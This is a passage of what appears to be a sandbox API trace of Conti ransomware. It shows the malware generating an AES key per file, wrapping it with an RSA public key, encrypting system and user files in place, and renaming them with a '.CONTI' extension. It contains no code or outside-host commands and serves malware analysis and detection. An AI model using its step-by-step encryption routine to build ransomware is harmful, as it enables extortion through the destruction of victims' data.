	[0129.201] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.033.etl")) returned 0x2020
	[0129.202] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.033.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.202] GetLastError () returned 0x0
	[0129.202] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=16384) returned 1
	[0129.202] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4000
	[0129.202] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.202] SetEndOfFile (hFile=0x378) returned 1
	[0129.202] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.202] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.202] WriteFile (in: hFile=0x378, lpBuffer=0x6b479b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b479b4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.204] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.204] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x4000, lpOverlapped=0x0) returned 1
	[0129.204] CryptEncrypt (in: hKey=0x17c81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x4000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x4010) returned 1
	[0129.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.205] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x4010, lpOverlapped=0x0) returned 1
	[0129.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.205] WriteFile (in: hFile=0x378, lpBuffer=0x6b479a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b479a8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.205] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.205] CloseHandle (hObject=0x378) returned 1
	[0129.205] GetProcessHeap () returned 0x1720000
	[0129.205] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.205] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl"
	[0129.205] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl.CONTI"
	[0129.205] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.033.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.033.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.033.etl.conti")) returned 1
	[0129.206] GetProcessHeap () returned 0x1720000
	[0129.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.206] CryptDestroyKey (hKey=0x17c81f0) returned 1
	[0129.206] GetProcessHeap () returned 0x1720000
	[0129.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c022c8 | out: hHeap=0x1720000) returned 1
	[0129.206] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.206] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b45c08 | out: phKey=0x6b45c08*=0x17c7f30) returned 1
	[0129.206] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45c0c, pdwDataLen=0x50ff91c | out: pbData=0x6b45c0c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.207] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.035.etl")) returned 0x2020
	[0129.207] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.035.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.207] GetLastError () returned 0x0
	[0129.207] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=8192) returned 1
	[0129.207] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.207] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.207] SetEndOfFile (hFile=0x378) returned 1
	[0129.208] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.208] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.208] WriteFile (in: hFile=0x378, lpBuffer=0x6b45c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b45c0c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.209] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.209] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2000, lpOverlapped=0x0) returned 1
	[0129.830] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2010) returned 1
	[0129.830] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.830] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2010, lpOverlapped=0x0) returned 1
	[0129.830] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.830] WriteFile (in: hFile=0x378, lpBuffer=0x6b45c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b45c00*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.830] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.830] CloseHandle (hObject=0x378) returned 1
	[0129.830] GetProcessHeap () returned 0x1720000
	[0129.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.831] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl"
	[0129.831] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl.CONTI"
	[0129.831] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.035.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.035.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.035.etl.conti")) returned 1
	[0129.832] GetProcessHeap () returned 0x1720000
	[0129.832] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.832] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0129.832] GetProcessHeap () returned 0x1720000
	[0129.832] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c028f8 | out: hHeap=0x1720000) returned 1
	[0129.832] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0134.010] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x17c83f0) returned 1
	[0134.010] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x50ff91c | out: pbData=0x6b450a4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0134.010] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20
	[0134.010] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.010] GetLastError () returned 0x5
	[0134.011] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.011] GetProcessHeap () returned 0x1720000
	[0134.011] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f9d0 | out: hHeap=0x1720000) returned 1
	[0134.011] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0134.709] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b452e8 | out: phKey=0x6b452e8*=0x17c81f0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c81f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b452ec, pdwDataLen=0x50ff91c | out: pbData=0x6b452ec*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0135.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79")) returned 0x820
	[0139.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0139.779] GetLastError () returned 0x0
	[0139.779] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=61948452) returned 1
	[0143.361] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b14224
	[0144.114] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.114] SetEndOfFile (hFile=0x454) returned 1
	[0144.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.115] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.115] WriteFile (in: hFile=0x454, lpBuffer=0x6b452ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b452ec*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0144.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.115] ReadFile (in: hFile=0x454, lpBuffer=0xee90000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x500000, lpOverlapped=0x0) returned 1
	[0145.964] CryptEncrypt (in: hKey=0x17c81f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000) returned 1
	[0145.971] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.971] WriteFile (in: hFile=0x454, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x500000, lpOverlapped=0x0) returned 1
	[0148.685] ReadFile (in: hFile=0x454, lpBuffer=0xee90000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x500000, lpOverlapped=0x0) returned 1
	[0149.341] CryptEncrypt (in: hKey=0x17c81f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000) returned 1
	[0151.185] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.185] WriteFile (in: hFile=0x454, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x500000, lpOverlapped=0x0) returned 1
	[0152.807] ReadFile (hFile=0x454, lpBuffer=0xee90000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0) 

Thread:
	id = 169
	os_tid = 0x1134

	[0093.103] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xf3a0000
	[0093.104] CryptAcquireContextA (in: phProv=0x523fe98, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x523fe98*=0x176c348) returned 1
	[0093.106] CryptImportKey (in: hProv=0x176c348, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x523fe94 | out: phKey=0x523fe94*=0x175e070) returned 1
	[0093.106] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.395] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c0c58 | out: phKey=0x17c0c58*=0x175e4f0) returned 1
	[0093.395] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c0c5c, pdwDataLen=0x523fe64 | out: pbData=0x17c0c5c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0093.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.398] GetLastError () returned 0x0
	[0093.398] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=7567) returned 1
	[0093.398] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8f
	[0093.398] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.398] SetEndOfFile (hFile=0x338) returned 1
	[0093.398] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.398] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.398] WriteFile (in: hFile=0x338, lpBuffer=0x17c0c5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c0c5c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.400] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.400] ReadFile (in: hFile=0x338, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x1d8f, lpOverlapped=0x0) returned 1
	[0093.407] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x1d8f, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x1d90) returned 1
	[0093.407] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.407] WriteFile (in: hFile=0x338, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x1d90, lpOverlapped=0x0) returned 1
	[0093.407] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.407] WriteFile (in: hFile=0x338, lpBuffer=0x17c0c50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c0c50*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.407] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.407] CloseHandle (hObject=0x338) returned 1
	[0093.408] GetProcessHeap () returned 0x1720000
	[0093.408] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.408] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1025\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf"
	[0093.408] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1025\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.CONTI"
	[0093.408] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.conti")) returned 1
	[0093.413] GetProcessHeap () returned 0x1720000
	[0093.413] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.413] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.413] GetProcessHeap () returned 0x1720000
	[0093.413] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d148 | out: hHeap=0x1720000) returned 1
	[0093.413] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.420] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x175e5f0) returned 1
	[0093.420] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x523fe64 | out: pbData=0x17c47e4*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.421] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0093.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.423] GetLastError () returned 0x0
	[0093.423] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=3702) returned 1
	[0093.423] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe76
	[0093.423] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.423] SetEndOfFile (hFile=0x338) returned 1
	[0093.423] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.423] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.423] WriteFile (in: hFile=0x338, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.431] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.431] ReadFile (in: hFile=0x338, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0xe76, lpOverlapped=0x0) returned 1
	[0093.431] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xe76, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xe80) returned 1
	[0093.431] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.431] WriteFile (in: hFile=0x338, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0xe80, lpOverlapped=0x0) returned 1
